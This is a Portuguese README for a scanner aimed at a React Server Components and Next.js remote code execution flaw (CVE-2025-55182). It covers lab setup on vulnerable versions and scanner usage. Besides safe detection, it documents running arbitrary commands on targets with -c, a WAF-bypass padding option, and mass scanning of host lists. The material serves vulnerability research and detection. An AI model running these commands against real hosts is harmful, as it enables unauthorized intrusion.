
CVE-2025-55182(React Server Components 反序列化远程代码执行漏洞)
| Componente | Versão recomendada para reprodução | Faixa de versões vulneráveis |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) e superiores |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 ou 19.2.0 | 19.0.0 a 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 a 19.2.0 |
Forçar instalação de versão inferior
cd cve-2025-55182-target
npm install --force
Verificar versões das dependências
npm list react next
# Confirmar que a saída mostra [email protected] e [email protected]
Desde que a lista de dependências de nível superior mostre [email protected] e [email protected], o ambiente foi travado com sucesso em um estado vulnerável. Ignore os avisos e códigos de erro aqui.
Construir:
npm run build
Executar:
npm start
O servidor escutará em http://localhost:3000. Ambiente configurado, pode iniciar a validação da vulnerabilidade.
Detecção/varredura de vulnerabilidade:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Uma ferramenta de linha de comando para detectar as vulnerabilidades CVE-2025-55182 e CVE-2025-66478 do React Server Components (RSC) em aplicações Next.js.
Para uma introdução detalhada sobre os detalhes técnicos da vulnerabilidade e métodos de detecção, consulte nosso artigo do blog: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
Por padrão, o scanner envia uma requisição POST multiparte especialmente criada contendo um payload de verificação RCE que executa uma operação matemática determinística (41*271 = 11111). Um host vulnerável retornará o resultado do cálculo no cabeçalho de resposta X-Action-Redirect na forma de /login?a=11111.
O scanner testa primeiro o caminho raiz. Se o caminho raiz não for vulnerável, ele segue redirecionamentos de mesma origem (por exemplo, de / para /en/) e testa o destino do redirecionamento. Redirecionamentos entre domínios não são seguidos.
Use a flag --safe-check para ativar o modo de detecção segura, que depende de sinais indiretos (como código de status 500 e resumos de erro específicos) sem executar código no alvo. Use este modo quando não desejar executar RCE.
Usar a flag --waf-bypass adiciona dados aleatórios de preenchimento antes do corpo da requisição multiparte. Isso ajuda a contornar a detecção de WAFs que analisam apenas o início do corpo da requisição. O tamanho padrão é 128KB, configurável com --waf-bypass-size. Quando o bypass de WAF está ativado, o tempo limite é automaticamente aumentado para 20 segundos (a menos que seja definido explicitamente).
Usar a flag --windows altera o payload de Unix shell (echo $((41*271))) para PowerShell (powershell -c "41*271"), adequado para alvos executando Windows.
pip install -r requirements.txt
Escaneando um único host:
python3 scanner.py -u https://example.com
Escaneando uma lista de hosts:
python3 scanner.py -l hosts.txt
Escaneando com multithreading e salvando resultados:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Escaneando com cabeçalhos personalizados:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Usando detecção indireta segura:
python3 scanner.py -u https://example.com --safe-check
Escaneando alvos Windows:
python3 scanner.py -u https://example.com --windows
Escaneando com bypass de WAF:
python3 scanner.py -u https://example.com --waf-bypass
Executando comando RCE:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url URL único a verificar
-c, --cmd Comando a executar
-l, --list Arquivo contendo hosts (um por linha)
-t, --threads Número de threads simultâneas (padrão: 10)
--timeout Tempo limite da requisição (segundos, padrão: 10)
-o, --output Arquivo de saída para salvar resultados (formato JSON)
--all-results Salvar todos os resultados, não apenas hosts vulneráveis
-k, --insecure Desabilitar verificação SSL
-H, --header Cabeçalho personalizado (pode ser usado várias vezes)
-v, --verbose Mostrar detalhes da resposta de hosts vulneráveis
-q, --quiet Exibir apenas hosts vulneráveis
--no-color Desabilitar saída colorida
--safe-check Usar detecção indireta segura em vez de RCE PoC
--windows Usar payload do Windows PowerShell em vez de Unix shell
--waf-bypass Adicionar dados de preenchimento para contornar detecção de WAF
--waf-bypass-size Tamanho dos dados de preenchimento (KB, padrão: 128)
O RCE PoC foi originalmente divulgado publicamente por @maple3142 — somos muito gratos pela contribuição deles ao publicar um PoC funcional.
Esta ferramenta foi originalmente construída para detectar com segurança este RCE. Esta funcionalidade ainda está disponível através do modo de detecção segura --safe-check.
Os resultados são exibidos no terminal. Ao usar o parâmetro -o, os hosts vulneráveis são salvos em um arquivo JSON, contendo a requisição e resposta HTTP completas para verificação.